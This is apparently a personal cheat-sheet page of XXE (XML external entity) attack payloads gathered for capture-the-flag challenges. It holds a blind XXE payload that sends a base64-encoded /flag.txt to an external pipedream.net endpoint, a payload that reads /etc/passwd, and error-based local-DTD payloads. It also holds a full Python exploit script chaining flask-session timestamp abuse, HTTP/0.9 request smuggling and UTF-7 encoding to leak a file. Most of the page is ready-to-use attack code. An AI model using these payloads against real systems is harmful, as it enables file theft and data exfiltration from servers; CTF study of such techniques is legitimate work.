Skip to content

Categories

XXE

https://mohemiv.com/all/evil-xml/https://github.com/zeyu2001/My-CTF-Challenges/tree/main/SEETF-2023/ezxxeTETCTF2022- transform2newyear & admin portalthis is the challenge i've made with <@268513122740...

Created

Updated

4 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

XXE

You can make XML out of 2 encoding like utf-8 and utf-16

https://mohemiv.com/all/evil-xml/

Blind XXE

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://172.27.243.207:4444"> %xxe;]>
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=/flag.txt'>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://eo6xybqezdn7x3g.m.pipedream.net/?file=%file;'>">
%eval;
%exfiltrate;

XXE WAF Bypas

https://github.com/zeyu2001/My-CTF-Challenges/tree/main/SEETF-2023/ezxxe

Image

Example XXE

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://etc/passwd"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

Time Based XXE to leak a file

TETCTF2022- transform2newyear & admin portal

XXE oracle leak using internal dtd fonts and there’s also CRLF injection

this is the challenge i've made with <@268513122740862977>, for the XXE this would not have work like this because we are performing some checks on the XML field

The goal of the XXE was to perform an error based with a local DTD, like this :

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % constant 'aaa)>
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
            <!ELEMENT aa (bb'>
    %local_dtd;
]>
<message>Text</message>

But there wasn't any dtd file in the docker, that's why you have the parameter "timeout" for the session that was created

If you check the flask-session source code, you can see that the first 4 bytes are the hex representation of the timestamp in little endian, so you can look for a timestamp which gives the representation "%A;<RANDOM BYTE>".

As the file starts with this, you can perform the error based with a local DTD like this :

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file://{FILENAME}">

    <!ENTITY % A '
        <!ENTITY &#x25; file SYSTEM "file:///flag.txt">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;<!--
        '>

    %local_dtd;
]>
<message></message>

FILENAME will be the session path which can be deducted as it is just a md5 hash of "session:<session identifier return by the server in the cookie>"

For the smuggling part, you had to use the fact that the api server allows to do HTTP/0.9 + Range to fully control the response using UTF-7

from datetime import datetime, timedelta
from gzip import GzipFile
from requests import get
from hashlib import md5
from io import BytesIO
from pwn import remote
from time import time, sleep
import sys

def convert_2_utf7(x):
    x = x.replace("<", "+ADw-")
    x = x.replace(">", "+AD4-")
    x = x.replace("%", "+ACU-")
    x = x.replace('"', "+ACI-")
    x = x.replace("&", "+ACY-")

    # url encode +
    x = x.replace("+", "%252b")
    return x

## # init # ##
HOST = "127.0.0.1"
PORT = 5000
FILENAME = None
BOUNDARY = "x"

# ## create evil session content ## #
target_timestamp = 1480278309
timeout = target_timestamp - int(time())
res = get(f"http://{HOST}:{PORT}/?timeout="+str(timeout))
session = res.headers['Set-Cookie'].split('session=')[1].split(';')[0]
FILENAME = "/usr/app/flask_sessions/"+md5(f"session:{session}".encode()).hexdigest()

# ## prepare the smuggling + XXE payload ## #
XXE = convert_2_utf7(f"""<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file://{FILENAME}">

    <!ENTITY % A '
        <!ENTITY &#x25; file SYSTEM "file:///flag.txt">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;<!--
        '>

    %local_dtd;
]>
<message></message>
""")

HTTP_RESPONSE = (
    "HTTP/1.1 200 OK\r\n"
    "Content-Type: text/plain; charset=UTF-7\r\n"
    "Content-Length: %d\r\n\r\n"
    "%s"
) % (len(XXE)-(XXE.count("%252b")*4), XXE) # CL must be equal to the URL decoded length.

# ## get request session ## #
r = get(f"http://{HOST}:{PORT}")
session = r.headers.get("Set-Cookie").split(";")[0].encode()

## # poison the queue # ##
# multipart/form-data must be used -> application/x-www-form-urlencoded doesn't allows to send raw bytes (cf. XXX).
# needs to be the last python.requests parameter to properly compute the number of unicode char to use.
p = remote(HOST, PORT)
# Bytes range is set to 105 to start with the HTTP_RESPONSE value.
# gET is required instead of GET to "bypass" the haproxy no 0.9 GET with body restriction.
smug = f"gET /convert HTTP/0.9\r\nRange: bytes=100-\r\nX-Header: "
body = (
    f"--{BOUNDARY}\r\n"
    f"Content-Disposition: form-data; name=\"from_zone\"\r\n\r\n"
    f"Europe/Paris\r\n"
    f"--{BOUNDARY}\r\n"
    f"Content-Disposition: form-data; name=\"to_zone\"\r\n\r\n"
    f"Europe/Paris\r\n"
    f"--{BOUNDARY}\r\n"
    f"Content-Disposition: form-data; name=\"time\"\r\n\r\n"
    f"{chr(0x80)*len(smug)}{smug}\r\n" # python.requests smuggling due to improper body length counting with UTF-8 bytes (cf. https://github.com/psf/requests/pull/6589).
    f"--{BOUNDARY}--\r\n"
).encode()

p.send(
    b"POST /api/convert HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Cookie: %b\r\n"
    b"Content-Length: %d\r\n"
    b"Content-Type: multipart/form-data; boundary=%b\r\n\r\n"
    % (session, len(body), BOUNDARY.encode()) + body
)
print("[Response 1]")
print(p.recv(9999))
p.close()

## # Trigger the XXE # ##
p = remote(HOST, PORT)
body = f"from_zone=Europe/Paris&to_zone=Europe/Paris&time={HTTP_RESPONSE}".encode()
p.send(
    b"POST /api/convert HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Cookie: %b\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: %d\r\n\r\n"
    % (session, len(body)) + body
)

print("\n[Response 2]")
print(p.recv(9999))
p.close()

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.